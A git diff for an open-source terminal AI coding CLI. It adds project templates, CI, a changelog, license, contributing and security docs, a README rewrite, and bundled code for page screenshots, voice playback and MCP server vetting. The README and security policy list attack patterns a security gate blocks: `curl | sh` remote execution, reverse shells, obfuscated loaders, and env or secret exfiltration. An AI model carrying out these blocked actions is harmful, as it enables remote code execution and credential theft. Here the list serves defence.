diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..90d6a529 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,28 @@ +--- +name: Bug report +about: Something isn't working as expected +title: "[bug] " +labels: bug +--- + +**Describe the bug** +A clear description of what went wrong. + +**To reproduce** +Steps or the exact command you ran: + +```bash +npx @oriro/orirocli ... +``` + +**Expected behavior** +What you expected to happen. + +**Environment** +- ORIRO version: (`oriro --version`) +- OS: +- Node version: (`node --version`) +- Install method: `npx` / `npm i -g` / from source + +**Logs / output** +Paste any relevant terminal output. **Redact any keys or personal data first.** diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 00000000..df3c2064 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: true +contact_links: + - name: Security vulnerability (private) + url: https://github.com/oriro-ai/cli/security/advisories/new + about: Please report security issues privately — do not open a public issue. + - name: ORIRO on the web + url: https://oriro.ai + about: Learn more about ORIRO. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000..53cf32f9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,25 @@ +--- +name: Feature request +about: Suggest an idea, skill, connector, or language +title: "[feat] " +labels: enhancement +--- + +**What would you like ORIRO to do?** +A clear description of the feature or improvement. + +**Why is it useful?** +The problem it solves or the workflow it improves. + +**Category** +- [ ] Router / Mux +- [ ] Skill +- [ ] MCP connector +- [ ] Language / translation +- [ ] Guardian (security) +- [ ] Channels (Telegram/Discord/WhatsApp) +- [ ] Avatar / voice +- [ ] Other + +**Additional context** +Anything else — examples, references, mockups. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 00000000..ae481bc5 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,16 @@ +## What this changes + +Briefly describe the change and why. + +## Checklist + +- [ ] `npm run typecheck` is clean +- [ ] `npm run test:unit` passes +- [ ] `npm run smoke` passes (builds and exercises the real `dist/cli.js`) +- [ ] Guardian changes include a deterministic test (`scripts/test-guardian.ts`) +- [ ] Any external code/pattern is recorded in `ATTRIBUTION.md` (MIT/Apache-2.0 only) +- [ ] Docs updated if the command surface, counts, or install path changed + +## Notes for reviewers + +Anything specific to look at, trade-offs, or follow-ups. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..f0daadee --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,39 @@ +name: CI + +on: + push: + branches: [pi-greenfield, main] + pull_request: + branches: [pi-greenfield, main] + +jobs: + build-and-test: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + # undici 8.5 (via pi-coding-agent) needs Node's markAsUncloneable — Node 22+. + node-version: ["22.12.0", "24"] + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v4 + with: + node-version: ${{ matrix.node-version }} + cache: npm + + - name: Install dependencies + run: npm ci + + - name: Typecheck + run: npm run typecheck + + - name: Build + run: npm run build + + - name: Unit tests + run: npm run test:unit + + - name: Smoke (built binary) + run: node scripts/smoke.mjs diff --git a/ATTRIBUTION.md b/ATTRIBUTION.md index 0f94798b..937a9a47 100644 --- a/ATTRIBUTION.md +++ b/ATTRIBUTION.md @@ -38,6 +38,14 @@ lands in the tree (validated, zero-OpenClaw). Until then it sits under "To fold" - **goose** (`github.com/aaif-goose/goose`, Block) — **Apache-2.0** — *pattern reference only* (Rust): the battle-scars hardening — per-server isolation, stderr-on-init-failure, env denylist, 3-state OAuth, OSV check, Windows Job Objects, `_meta` owner stamping. - Connector catalog (59 entries) generated from ORIRO's own `connectors_pass.jsonl` (validated set), scrubbed. +## Skill library — skills folded into `skills/` (2026-07-01 batch: +4, 327 total) +- **graphify** — public/community skill (knowledge-graph builder); Pi variant (`skill-pi.md`) promoted to SKILL.md; license as embedded in dir. +- **impeccable** — public/community frontend-quality skill; license as embedded in dir. +- **uipm-ui-styling** — from the public UIPM / ui-ux-pro-max skill pack. +- **21stdev** — ORIRO-authored (© 2026 ORIRO.ai) 21st.dev Magic-MCP usage skill, privacy-scrubbed for bundling. +- Evaluated, already bundled (nested in the Step-5 pack — not re-added): focus, marketing, design, zero-to-live, gh, gh-skill, grill-me, playwright-cli, remotion-best-practices, supabase-postgres-best-practices, uipm-* (6), web-design-guidelines, doc-coauthoring, idea-to-deploy, app-builder-guide, debug-and-build-methodology, become-an-ai-engineer-26, image-generation-engineer, oriro-ui-2026, vercel-optimize. +- Evaluated and EXCLUDED as private/unshippable: tranzguard-1, triro-trading, Training-Steps-Modal, ai-engineering, oriro-agentic, godmode, master-architect, google-ai-latest, remotion-narvo, scribe (local-path-bound), dev, codex-cli-runtime, codex-result-handling, gpt-5-4-prompting, last30days (16MB + vendored scrapers). + ## Evaluated — NOT used (recorded for honesty) - **github/copilot-cli** — proprietary / no-derivatives, no source in repo. Blocked. - **manaflow-ai/cmux** — GPL-3.0 (copyleft) + Swift/macOS. Blocked. diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000..7060ec77 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,52 @@ +# Changelog + +All notable changes to `@oriro/orirocli` are documented here. +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), +and this project aims to follow [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [0.1.8] — 2026-07-01 +### Added +- `routers add --url` — register ANY custom free or BYOK endpoint into the keyless router pool. + +## [0.1.7] — 2026-06 +### Fixed +- `npx @oriro/orirocli` now resolves everywhere — added the `npx` bin alias. + +## [0.1.6] — 2026-06 +### Added +- `scribe` CLI verbs (on/off/status/digest/timeline/recall/capture/health) — the consent-gated local work journal. +- Claude Code transcript adapter for Scribe capture. + +## [0.1.5] — 2026-06 +### Fixed +- Security hardening: Guardian V3 Lite (closed 39 bypasses + 4 over-blocks) and Scriber (5 redaction leaks). +- Multi-round adversarial re-QA (rounds 2–5): secret-directory boundary parity, IOC `.ssh` boundary, and residual regressions all closed. +- Functional bugs across onboarding, commands, routers, and the Mux. + +## [0.1.4] — 2026-06 +### Fixed +- 6 QA bugs: language-by-name, `/help`, false-removes, category handling, env-exfil detection. + +## [0.1.3] — 2026-06 +### Fixed +- Sanitize keyless-floor tool names to prevent token leakage. + +## [0.1.2] — 2026-06 +### Added +- Wired `oriro language` and `oriro avatar`. +### Fixed +- Corrected documented skill/connector counts. + +## [0.1.1] — 2026-06 +### Added +- First publishable, reproducible build. `dist/cli.js` committed; clean `npx` / `npm i -g` install path. +- Prepublish gate (`scripts/prepublish-check.mjs`) and built-binary smoke tests. + +[0.1.8]: https://github.com/oriro-ai/cli/releases/tag/v0.1.8 +[0.1.7]: https://github.com/oriro-ai/cli/releases/tag/v0.1.7 +[0.1.6]: https://github.com/oriro-ai/cli/releases/tag/v0.1.6 +[0.1.5]: https://github.com/oriro-ai/cli/releases/tag/v0.1.5 +[0.1.4]: https://github.com/oriro-ai/cli/releases/tag/v0.1.4 +[0.1.3]: https://github.com/oriro-ai/cli/releases/tag/v0.1.3 +[0.1.2]: https://github.com/oriro-ai/cli/releases/tag/v0.1.2 +[0.1.1]: https://github.com/oriro-ai/cli/releases/tag/v0.1.1 diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 00000000..ca3e5a84 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,59 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment: + +- Demonstrating empathy and kindness toward other people +- Being respectful of differing opinions, viewpoints, and experiences +- Giving and gracefully accepting constructive feedback +- Accepting responsibility and apologizing to those affected by our mistakes +- Focusing on what is best for the overall community + +Examples of unacceptable behavior: + +- The use of sexualized language or imagery, and sexual attention or advances +- Trolling, insulting or derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information without explicit permission +- Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards and +will take appropriate and fair corrective action in response to any behavior +that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +**conduct@oriro.ai**. All complaints will be reviewed and investigated promptly +and fairly. All community leaders are obligated to respect the privacy and +security of the reporter of any incident. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +. + +[homepage]: https://www.contributor-covenant.org diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..cbd88bf5 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,57 @@ +# Contributing to ORIRO CLI + +Thanks for your interest in ORIRO — a free, keyless, on-device-friendly terminal AI coder. +Contributions of all kinds are welcome: bug reports, docs, skills, connectors, and code. + +## Ground rules + +- **Be respectful.** See [`CODE_OF_CONDUCT.md`](./CODE_OF_CONDUCT.md). +- **Security issues are private.** Do not file them as public issues — see [`SECURITY.md`](./SECURITY.md). +- **Provenance matters.** Any external code or pattern you fold in must be MIT/Apache-2.0 + (or compatible), TypeScript-friendly, and recorded in [`ATTRIBUTION.md`](./ATTRIBUTION.md) + with its upstream URL, license, and authors. We honor upstream authors; we never ship + copyleft or license-key-gated code. + +## Local setup + +Requires **Node ≥ 20**. + +```bash +git clone https://github.com/oriro-ai/cli && cd cli +npm install +npm run build # tsup → dist/cli.js +node dist/cli.js # run the built CLI +``` + +Useful scripts: + +| Script | What it does | +|--------|--------------| +| `npm run dev` | run from TypeScript source (`tsx src/cli.ts`) | +| `npm run build` | bundle to `dist/cli.js` (tsup) | +| `npm run typecheck` | `tsc --noEmit` | +| `npm run test:unit` | tool-sanitize + Guardian + Scribe unit tests | +| `npm run smoke` | build, then run the built-binary smoke suite | + +## Before you open a PR + +1. `npm run typecheck` is clean. +2. `npm run test:unit` passes. +3. `npm run smoke` passes (this builds and exercises the real `dist/cli.js`). +4. If you touched Guardian, add/extend a case in `scripts/test-guardian.ts` — security + changes must be covered by a deterministic test. +5. If you changed the command surface, docs (README), skill count, or bin, run + `node scripts/prepublish-check.mjs` so the publish gate still passes. +6. Keep commits focused; use clear, conventional-style messages (e.g. `fix:`, `feat:`, `docs:`). + +## What we especially welcome + +- New **skills** (`skills///SKILL.md`) and **MCP connectors**. +- Additional **languages** and translation quality fixes. +- Guardian detections for new abuse patterns (with tests). +- Bug reports with a reproduction and your OS + Node version. + +## License + +By contributing, you agree that your contributions are licensed under the +[MIT License](./LICENSE). diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..ebd82174 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Vinay Sharma / ORIRO (Greenri Solutions LLC) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/PUBLISHING.md b/PUBLISHING.md index b9359435..26b2c58c 100644 --- a/PUBLISHING.md +++ b/PUBLISHING.md @@ -19,7 +19,7 @@ npm pkg set private=true # re-arm the gate immediately npm deprecate "@oriro/cli@<=2026.6.10" "Moved to @oriro/orirocli — install that for the clean rebuild." # Verify from a clean shell (new user path): -npx -y @oriro/orirocli@latest --version # → 0.1.0 +npx -y @oriro/orirocli@latest --version # → 0.1.8 ``` ## What a user gets after this diff --git a/README.md b/README.md index 87adae7b..d2dcf7ad 100644 --- a/README.md +++ b/README.md @@ -13,14 +13,17 @@ Your language, your machine, no paid keys required. - **Keyless free-router Mux** — best-router selection + invisible failover across free providers, with an on-device floor. **Never a paid key.** BYOK optional (live-validated). - **100 languages** — pick yours at first run; the model works in English. On-device NLLB translation is an optional add-on (without it, your text passes through as-is). - **Guardian V3 (Lite)** — a **deterministic** security gate on every tool call (default-on, fail-closed): blocks `curl|sh` remote-exec, destructive wipes, reverse shells, and env/secret exfil. No weights, no tokenizer, no download. -- **Head** — fetches a live site, detects its **sections/structure**, and reports the gaps to build from (the coder writes the code from that report). +- **Head** — go out to a live site and SEE it. `oriro head ` does a keyless structural read (sections, CTAs, gaps vs competitors — pure fetch, no browser). With the optional Chromium peer it also **reverse-engineers a page into clean code** (`--code`), a **YAML build spec** (`--spec`), or **full-page screenshots** (`--shots`). The chat agent can call the same via its `inspect_site` / `url_to_code` / `url_to_spec` / `capture_site` tools. - **Scriber (memory)** — a consent-gated local work journal, **off by default**; turns are recalled across sessions and never leave your machine. - **323 skills** (CORE/TAIL tiered) + **multi-agent orchestration** on the free pool. -- **MCP connector catalog** (59) and **Channels** — run ORIRO from Telegram/Discord/WhatsApp with **your own** bot. +- **MCP connectors** — a 59-entry catalog (`oriro connectors add `) **plus guided setup of ANY custom server** (`oriro connectors setup`), Guardian-vetted before it's saved (no JSON). - **Avatar** — pick a face at onboarding; it greets you aloud in its paired on-device voice. +- **Voice input** — `oriro voice` transcribes audio/mic to text on-device (Whisper, translate→English path); `/voice` speaks a turn in chat. *Experimental — needs ffmpeg + the transformers peer.* +- **Permission postures** — Shift+Tab cycles **Manual · Accept-Edits · Auto · Plan**; **Alt+Shift+T** toggles a plan-first **Thinking** mode. Guardian is the floor in every posture. +- **Channels** — run ORIRO from Telegram/Discord/WhatsApp with **your own** bot. ## On the roadmap (not in this release) -Full-page **screenshot → code** Head (Playwright), the **two-way voice loop** (speak + listen/STT), in-REPL **permission modes**, and **`oriro mcp`** guided setup. Today the Head is fetch/structure-based and voice is the avatar's spoken greeting. +A fully **hands-free two-way voice loop** (auto mic → reply → speak — today `oriro voice`/`/voice` do on-device STT and the avatar speaks its greeting) and richer on-device TTS voices, plus **video → code** at pixel fidelity (shipped but experimental — needs a vision-capable router). The Head's structural read is keyless and always on; its screenshot / code / spec flows are opt-in behind the Chromium peer (`npm i playwright && npx playwright install chromium`), and voice STT is opt-in behind ffmpeg + the transformers peer. **## Install** @@ -47,25 +50,19 @@ npm install && npm run build # then: node dist/cli.js > Built on [Pi](https://github.com/earendil-works/pi) (MIT). See `ATTRIBUTION.md` for full provenance. -**ORIRO-Head:** +**ORIRO-Head — how it works:** -Always in context; never forgets anything; scribes everything for you locally and present the router “REAL-TIME FOREVER”. -Goes to the URL → crawls it in a real browser (Playwright). -Captures → full-page screenshot + the rendered HTML (page.content () the post-JS DOM, "what it saw"). -Reverse-engineers → feeds that HTML (+ the screenshot for visual context) to the coder model → clean, working code. -Returns BOTH → {html: , screenshot, code: }. +- **Structural read (default, keyless, no browser):** `oriro head [competitor …]` server-side `fetch()`es the page, detects 15 section types (hero, pricing, CTA, testimonials, FAQ, …), runs a gap analysis vs any competitor URLs, and prints a priority-ranked report + action items. Add `--html` for a visual report. `$0`, deterministic, nothing leaves the machine. +- **URL → code / spec (opt-in, Chromium peer):** `--code` crawls the page in a real browser (Playwright), captures the rendered post-JS HTML + a full-page screenshot, and reverse-engineers **clean, runnable code**; `--spec` emits a stack-agnostic **YAML build spec** instead. The coder runs on the free keyless Mux — no paid key. +- **Screenshots:** `--shots` assembles full-page screenshots of every URL into one visual flow HTML. +- The chat agent reaches all of this on its own judgment via the `inspect_site` / `url_to_code` / `url_to_spec` / `capture_site` tools — just say “go look at stripe.com and rebuild the pricing page”. **Multi-Lingual** (99 Global Languages): -You can use your native language in terminal and it will explain in the default language to AI router in your terminal to build and work along with/for you in ORIRO-Terminal. -TWO-WAY VOICE LOOP LIVE. (TTS) and hears (STT, with the free translate → English path for the coder). +Use your native language in the terminal; ORIRO translates to English for the router, works for you, and translates back. **Voice:** `oriro voice` (or `/voice` in chat) transcribes speech on-device via Whisper — with the translate→English path for the coder — and the avatar speaks its greeting (TTS). On-device STT is experimental (needs ffmpeg + the `@huggingface/transformers` peer); a fully hands-free loop is the next polish. -**Guardian V3** Security: Talk-to-setup MCP (Guardian companion) -By TranzGuard.com, Financial Industry grade Live agentic threat analysis anomalous MCP payloads, crawler/Trojan/spam/3rd-party injection, behavioral detection. -Guardian V3 Lite is pure deterministic TypeScript regex injection patterns + IOC signatures + hidden- unicode ranges + heuristics. No weights, no tokenizer, no download. It's default-on by construction and it’s a Guardian, as deterministic detectors, not a downloadable model. Speed: Agentic, Deep. +**Guardian V3 — the security floor.** Guardian V3 **Lite** ships in the CLI: pure deterministic TypeScript (regex injection patterns + IOC signatures + hidden-unicode ranges + heuristics). No weights, no tokenizer, no download; default-on by construction, fail-closed. *(The heavier financial-grade agentic/behavioral threat analysis by TranzGuard.com is the upstream vision, not bundled here.)* -ORIRO MCP setup — guided Q&A, no JSON: it asks name, command/URL, args, env; builds the config for you. -Guardian vets every server before it's saved (proven 5/5): blocks a malicious launch (curl | sh, obfuscated loader, env →URL exfil), asks-to-trust a new clean server, allows an already-trusted one — and remembers your "trust" so it won't re-ask. -Type-check clean. +**MCP setup — guided, no JSON.** `oriro connectors setup` asks for the name, command/URL, args, and env and builds the config for you. Guardian **vets every server before it's saved**: it blocks a malicious launch (`curl | sh`, obfuscated loader, env→URL exfil), asks-to-trust a new clean server, allows an already-trusted one — and **remembers your trust so it won't re-ask**. (`oriro connectors custom` lists them; `oriro connectors forget ` removes one.) As forward integration to base CLI Terminal of pi-mono foundation; we used same foundation and carry forwarded instead of backward efforts to build it backward bottom up. Thanks to the foundation work by pi-mono foundation, @Claude @KIMI and all other contributors. We also added a fun factor in work for you: AVATAR you chose of your own in Terminal. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 00000000..1ad8c4ca --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,40 @@ +# Security Policy + +ORIRO ships a deterministic security gate (**Guardian V3 Lite**) that vets every tool +call, and a consent-gated, locally-redacted work journal (**Scriber**). We take the +security of the CLI and of our users' machines seriously. + +## Supported versions + +The latest published `@oriro/orirocli` release on npm receives security fixes. +Older versions are not patched — please upgrade with `npm i -g @oriro/orirocli@latest`. + +## Reporting a vulnerability + +**Please do not open a public issue for security vulnerabilities.** + +Report privately via one of: + +- GitHub's **[Private vulnerability reporting](https://github.com/oriro-ai/cli/security/advisories/new)** + (Security → Advisories → *Report a vulnerability*), or +- Email **security@oriro.ai** + +Include: affected version, a description, reproduction steps, and impact. We aim to +acknowledge within **72 hours** and to provide a remediation timeline after triage. +Please give us a reasonable window to release a fix before any public disclosure. + +## Scope + +In scope: the CLI itself (`dist/cli.js`), the Guardian gate, the Scriber redaction path, +the router/Mux, MCP connector handling, and the channels (Telegram/Discord/WhatsApp) host. + +Out of scope: vulnerabilities in third-party dependencies (report those upstream), +your own BYOK provider endpoints, and issues that require a pre-compromised machine. + +## Design notes + +- **Keyless by default; never a paid key.** BYOK keys you add are validated live and stored locally. +- **Guardian is fail-closed** and default-on: it blocks remote-exec (`curl | sh`), destructive + wipes, reverse shells, and env/secret exfil — even in the most permissive run mode. +- **Scriber is off by default**, consent-gated, and redacts secrets/PII before writing; + nothing it records ever leaves your machine. diff --git a/dist/cli.js b/dist/cli.js index cbf6e2c2..1a979e2c 100644 --- a/dist/cli.js +++ b/dist/cli.js @@ -1,12 +1,159 @@ #!/usr/bin/env node +var __defProp = Object.defineProperty; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __esm = (fn, res) => function __init() { + return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res; +}; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; + +// src/head/screenshot-flow.ts +var screenshot_flow_exports = {}; +__export(screenshot_flow_exports, { + buildScreenshotFlowHtml: () => buildScreenshotFlowHtml, + captureScreens: () => captureScreens +}); +async function captureScreens(urls, opts = {}) { + let chromium; + try { + ({ chromium } = await import("playwright")); + } catch { + throw new Error("@oriro/head/screenshot needs the `playwright` peer dependency (and `npx playwright install chromium`)."); + } + const viewport = opts.viewport ?? DEFAULT_VIEWPORT; + const out = []; + const videos = []; + const browser = await chromium.launch({ headless: true }); + const ctxOpts = { viewport, deviceScaleFactor: 1 }; + if (opts.video) { + const [os, path, fs] = await Promise.all([import("os"), import("path"), import("fs/promises")]); + const dir = opts.videoDir ?? path.join(os.tmpdir(), "oriro-head-video"); + await fs.mkdir(dir, { recursive: true }); + ctxOpts.recordVideo = { dir, size: viewport }; + } + const ctx = await browser.newContext(ctxOpts); + try { + let done = 0; + for (const url of urls) { + const page = await ctx.newPage(); + const rec = { url, ok: false, status: 0, title: "", png: null, videoPath: null, html: null, note: "" }; + try { + const resp = await page.goto(url, { waitUntil: "domcontentloaded", timeout: opts.navTimeoutMs ?? 3e4 }); + rec.status = resp ? resp.status() : 0; + try { + await page.waitForLoadState("networkidle", { timeout: 8e3 }); + } catch { + } + await scrollToBottom(page); + await page.waitForTimeout(600); + rec.title = await page.title(); + rec.html = await page.content(); + const buf = await page.screenshot({ fullPage: true }); + rec.png = new Uint8Array(buf); + rec.ok = true; + } catch (e) { + rec.note = (e instanceof Error ? e.message : String(e)).split("\n")[0] ?? "capture failed"; + } finally { + const vid = opts.video ? page.video() : null; + await page.close(); + out.push(rec); + videos.push(vid); + opts.onProgress?.(++done, urls.length, url); + } + } + } finally { + if (opts.video) { + for (let i = 0; i < out.length; i++) { + try { + const p = await videos[i]?.path(); + const c = out[i]; + if (p && c) c.videoPath = p; + } catch { + } + } + } + await browser.close(); + } + return out; +} +async function scrollToBottom(page) { + await page.evaluate(async () => { + await new Promise((resolve3) => { + let y = 0; + const step = 500; + const timer = setInterval(() => { + window.scrollBy(0, step); + y += step; + if (y >= document.body.scrollHeight) { + clearInterval(timer); + resolve3(); + } + }, 120); + setTimeout(() => { + clearInterval(timer); + resolve3(); + }, 6e3); + }); + window.scrollTo(0, 0); + }); +} +function esc2(s) { + return (s || "").replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); +} +function hostOf3(u) { + try { + return new URL(u).host.replace(/^www\./, ""); + } catch { + return u; + } +} +function pathOf2(u) { + try { + return new URL(u).pathname || "/"; + } catch { + return u; + } +} +function toBase642(bytes) { + const g = globalThis; + if (g.Buffer) return g.Buffer.from(bytes).toString("base64"); + let bin = ""; + for (let i = 0; i < bytes.length; i++) bin += String.fromCharCode(bytes[i] ?? 0); + return g.btoa ? g.btoa(bin) : ""; +} +function buildScreenshotFlowHtml(groups, opts = {}) { + const imgSrc = opts.imgSrc ?? defaultImgSrc; + const all = groups.flatMap((g) => g.captures); + const ok2 = all.filter((c) => c.ok).length; + const sections = groups.map((g) => { + const cards = g.captures.map((c, i) => { + const src = c.ok ? imgSrc(c, i) : ""; + const vsrc = c.ok && c.videoPath ? opts.videoSrc ? opts.videoSrc(c, i) : c.videoPath : ""; + const media = c.ok && src ? `${esc2(c.title)}${vsrc ? `` : ""}` : `
${esc2(c.note || "no capture")}
`; + return `
${i + 1}${esc2(hostOf3(c.url))}${esc2(pathOf2(c.url))}${c.ok ? (c.status || 200) + " OK" : "FAILED"}
${media}
${esc2(c.title || "(no title)")}
`; + }).join(""); + return `

${esc2(g.name)}

${cards}
`; + }).join(""); + return `${esc2(opts.title ?? "ORIRO Head \u2014 visual flow")}

ORIRO Head \u2014 visual flow

The head visited ${all.length} screens and captured ${ok2}/${all.length} full-page screenshots. Click any shot to open full size.
${sections}
ORIRO Head \xB7 real full-page screenshots, hydration-waited + scrolled for lazy content.
`; +} +var DEFAULT_VIEWPORT, defaultImgSrc; +var init_screenshot_flow = __esm({ + "src/head/screenshot-flow.ts"() { + "use strict"; + DEFAULT_VIEWPORT = { width: 1280, height: 800 }; + defaultImgSrc = (c) => c.png ? `data:image/png;base64,${toBase642(c.png)}` : ""; + } +}); // src/cli.ts import { createRequire } from "module"; import { Command } from "commander"; // src/repl.ts -import { createInterface as createInterface5 } from "readline/promises"; -import { stdin as stdin5, stdout as stdout6 } from "process"; +import { createInterface as createInterface6 } from "readline/promises"; +import { stdin as stdin6, stdout as stdout7 } from "process"; // src/ui/theme.ts var PALETTE = { @@ -71,8 +218,8 @@ ${tagline} } // src/onboarding/wrapper.ts -import { createInterface as createInterface4 } from "readline/promises"; -import { stdin as stdin4, stdout as stdout5 } from "process"; +import { createInterface as createInterface5 } from "readline/promises"; +import { stdin as stdin5, stdout as stdout6 } from "process"; // src/language/languages.ts var LANGUAGES = [ @@ -913,6 +1060,25 @@ Allow this action?`, }); } +// src/guardian/mcp.ts +function vetMcpServer(name, server) { + const command = typeof server.command === "string" ? server.command : ""; + const args = Array.isArray(server.args) ? server.args.map(String).join(" ") : ""; + const url = typeof server.url === "string" ? server.url : ""; + const env = server.env && typeof server.env === "object" ? Object.entries(server.env).map(([k, v]) => `${k}=${String(v)}`).join(" ") : ""; + const blob = [command, args, url, env].filter(Boolean).join(" "); + return evaluate( + { + toolName: name, + kind: "mcp", + params: server, + command: blob || void 0, + mcpServer: name + }, + resolvePolicy(readGuardianConfig()) + ); +} + // src/guardian/activate.ts var modelFetcher = null; async function activateGuardian() { @@ -1077,41 +1243,45 @@ import { tmpdir } from "os"; import { join as join7 } from "path"; import { writeFileSync as writeFileSync5, rmSync } from "fs"; var synth = null; +var listener = null; function registerVoiceSynth(fn) { synth = fn; } -function audioPlayers(file4) { - if (process.platform === "darwin") return [{ cmd: "afplay", args: [file4] }]; +function registerVoiceListen(fn) { + listener = fn; +} +function audioPlayers(file5) { + if (process.platform === "darwin") return [{ cmd: "afplay", args: [file5] }]; if (process.platform === "win32") return [ - { cmd: "powershell", args: ["-NoProfile", "-c", `(New-Object Media.SoundPlayer '${file4}').PlaySync()`] } + { cmd: "powershell", args: ["-NoProfile", "-c", `(New-Object Media.SoundPlayer '${file5}').PlaySync()`] } ]; return [ - { cmd: "aplay", args: ["-q", file4] }, - { cmd: "ffplay", args: ["-nodisp", "-autoexit", "-loglevel", "quiet", file4] }, - { cmd: "paplay", args: [file4] } + { cmd: "aplay", args: ["-q", file5] }, + { cmd: "ffplay", args: ["-nodisp", "-autoexit", "-loglevel", "quiet", file5] }, + { cmd: "paplay", args: [file5] } ]; } function playWav(wav) { - const file4 = join7(tmpdir(), `oriro-avatar-${process.pid}-${wav.length}.wav`); - writeFileSync5(file4, wav); - const players = audioPlayers(file4); - return new Promise((resolve) => { + const file5 = join7(tmpdir(), `oriro-avatar-${process.pid}-${wav.length}.wav`); + writeFileSync5(file5, wav); + const players = audioPlayers(file5); + return new Promise((resolve3) => { const tryPlayer = (i) => { if (i >= players.length) { - rmSync(file4, { force: true }); - return resolve(false); + rmSync(file5, { force: true }); + return resolve3(false); } const p = players[i]; if (!p) { - rmSync(file4, { force: true }); - return resolve(false); + rmSync(file5, { force: true }); + return resolve3(false); } const child = spawn(p.cmd, p.args, { stdio: "ignore" }); child.on("error", () => tryPlayer(i + 1)); child.on("close", (code) => { - rmSync(file4, { force: true }); - resolve(code === 0); + rmSync(file5, { force: true }); + resolve3(code === 0); }); }; tryPlayer(0); @@ -1126,6 +1296,14 @@ async function speak(text, opts = {}) { return false; } } +async function listen() { + if (!listener) return null; + try { + return await listener(); + } catch { + return null; + } +} // src/avatar/onboarding.ts import { stdin as stdin2, stdout as stdout3 } from "process"; @@ -1139,20 +1317,20 @@ import { existsSync, readFileSync as readFileSync6, rmSync as rmSync2 } from "fs function tmpWav() { return join8(tmpdir2(), `oriro-tts-${process.pid}-${Date.now()}-${Math.floor(performance.now())}.wav`); } -function readAndClean(file4) { - const buf = readFileSync6(file4); - rmSync2(file4, { force: true }); +function readAndClean(file5) { + const buf = readFileSync6(file5); + rmSync2(file5, { force: true }); return new Uint8Array(buf); } function winSapi(text, lang) { const out = tmpWav(); const culture = lang ? `'${lang.replace(/'/g, "")}'` : "$null"; const ps = `Add-Type -AssemblyName System.Speech; $s = New-Object System.Speech.Synthesis.SpeechSynthesizer; $c = ${culture}; if ($c) { try { $s.SelectVoiceByHints([System.Speech.Synthesis.VoiceGender]::NotSet, [System.Speech.Synthesis.VoiceAge]::NotSet, 0, (New-Object System.Globalization.CultureInfo($c))) } catch {} } $s.SetOutputToWaveFile('${out}'); $s.Speak([Console]::In.ReadToEnd()); $s.Dispose();`; - return new Promise((resolve, reject) => { + return new Promise((resolve3, reject) => { const p = spawn2("powershell", ["-NoProfile", "-Command", ps], { stdio: ["pipe", "ignore", "ignore"] }); 